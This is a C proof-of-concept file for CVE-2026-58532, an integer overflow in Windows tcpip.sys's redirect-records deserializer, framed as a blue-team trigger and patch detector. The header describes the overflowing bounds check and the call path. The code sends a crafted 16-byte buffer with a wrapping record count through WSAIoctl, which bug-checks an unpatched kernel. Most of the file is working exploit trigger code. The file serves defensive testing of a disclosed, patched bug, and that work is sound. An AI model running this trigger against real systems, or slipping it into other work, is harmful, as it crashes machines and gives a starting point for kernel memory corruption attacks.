/*
 * CVE-2026-58532 — tcpip.sys ALE Redirect Records Integer Overflow
 * Blue-team trigger/detector PoC
 *
 * Based on aprilpet's public disclosure PoC
 * (https://aprl.pet/writing/cve-2026-58532) — the author reported the bug to
 * MSRC on 2026-04-20 and it was fixed in the July 2026 security updates.
 *
 * Bug:
 *   tcpip!AleRedirectRecordsDeserializeFromBuffer trusts a user-controlled
 *   64-bit record count and bounds-checks with:
 *       count * 0x228 <= remainingLength        // unchecked u64 multiply
 *   With count = 0x2000000000000000, count * 0x228 = 0x45 * 2^64 = 0 in a
 *   64-bit register, so a 16-byte buffer passes the check. The deserializer
 *   then pool-allocates ('AlcR' tag) and copies 0x228-byte records that were
 *   never supplied — first copy reads OOB, then remainingLength underflows,
 *   so later bounds checks operate on ~ULONGLONG_MAX.
 *
 * Reachability:
 *   Winsock: WSAIoctl(sock, SIO_SET_WFP_CONNECTION_REDIRECT_RECORDS, ...)
 *     WS2_32!WSAIoctl
 *       -> afd!AfdTLIoControl
 *         -> tcpip!TcpSetSockOptEndpoint
 *           -> tcpip!InetInspectSocketOption
 *             -> tcpip!WfpAleProcessSocketOption
 *               -> tcpip!AleRedirectRecordsDeserializeFromBuffer  [*** BUG ***]
 *
 * Expected results:
 *   Pre-patch VM : bug check (observed via tcpip!WfpAleDecrementWaitRef
 *                  during cleanup after the malformed input is processed).
 *                  RUN ONLY IN A SNAPSHOTTED TEST VM.
 *   Patched      : the checked bound (count > remainingLength / 0x228, or
 *                  equivalent) rejects the request; WSAIoctl returns an
 *                  error (e.g. WSAEINVAL / STATUS_INVALID_PARAMETER); no crash.
 *
 * Build:
 *   cl.exe /W4 poc_cve_2026_58532.c /link ws2_32.lib
 *
 * Author: OnlyFm252 — based on aprilpet's published PoC (full credit for the
 *         vulnerability discovery and original PoC)
 * Date:   2026-07-19
 * CVE:    CVE-2026-58532
 *
 * DISCLAIMER: For defensive security research and blue-team detection
 * validation ONLY. Bug-checks unpatched kernels by design. Never run outside
 * an isolated, snapshotted VM.
 */

#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <stdint.h>

#pragma comment(lib, "ws2_32.lib")

#define SIO_SET_WFP_CONNECTION_REDIRECT_RECORDS 0x980000DEu

int main(void)
{
    WSADATA wsa;
    SOCKET sock;
    DWORD ret = 0;
    int err;

    printf("=== CVE-2026-58532 tcpip.sys ALE redirect-records overflow trigger ===\n");
    printf("=== RUN ONLY IN A SNAPSHOTTED TEST VM ===\n\n");

    if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
        printf("[-] WSAStartup failed\n");
        return 1;
    }

    sock = WSASocketW(AF_INET6, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    if (sock == INVALID_SOCKET)
        sock = WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    if (sock == INVALID_SOCKET) {
        printf("[-] socket failed: %d\n", WSAGetLastError());
        WSACleanup();
        return 1;
    }
    printf("[+] socket created\n");

    /*
     * 16-byte buffer; first 8 bytes = overflowing record count.
     * 0x2000000000000000 * 0x228 == 0 (mod 2^64) -> bounds check bypassed.
     */
    uint8_t buf[16] = { 0 };
    *(uint64_t *)buf = 0x2000000000000000ULL;

    printf("[*] sending SIO_SET_WFP_CONNECTION_REDIRECT_RECORDS with count=0x%llX\n",
           (unsigned long long)*(uint64_t *)buf);
    printf("[*] Pre-patch kernel: bug check expected NOW (VM snapshot!)\n");

    WSAIoctl(sock, SIO_SET_WFP_CONNECTION_REDIRECT_RECORDS,
             buf, sizeof(buf), NULL, 0, &ret, NULL, NULL);

    err = WSAGetLastError();
    printf("[+] WSAIoctl returned, WSAGetLastError=%d (0x%X)\n", err, err);

    /*
     * If we reach here without a bug check, the checked bound rejected the
     * multiplication -- the system is patched (or the code path was gated).
     */
    printf("[+] No crash -- checked multiplication in place; system appears patched.\n");

    closesocket(sock);
    WSACleanup();
    return 0;
}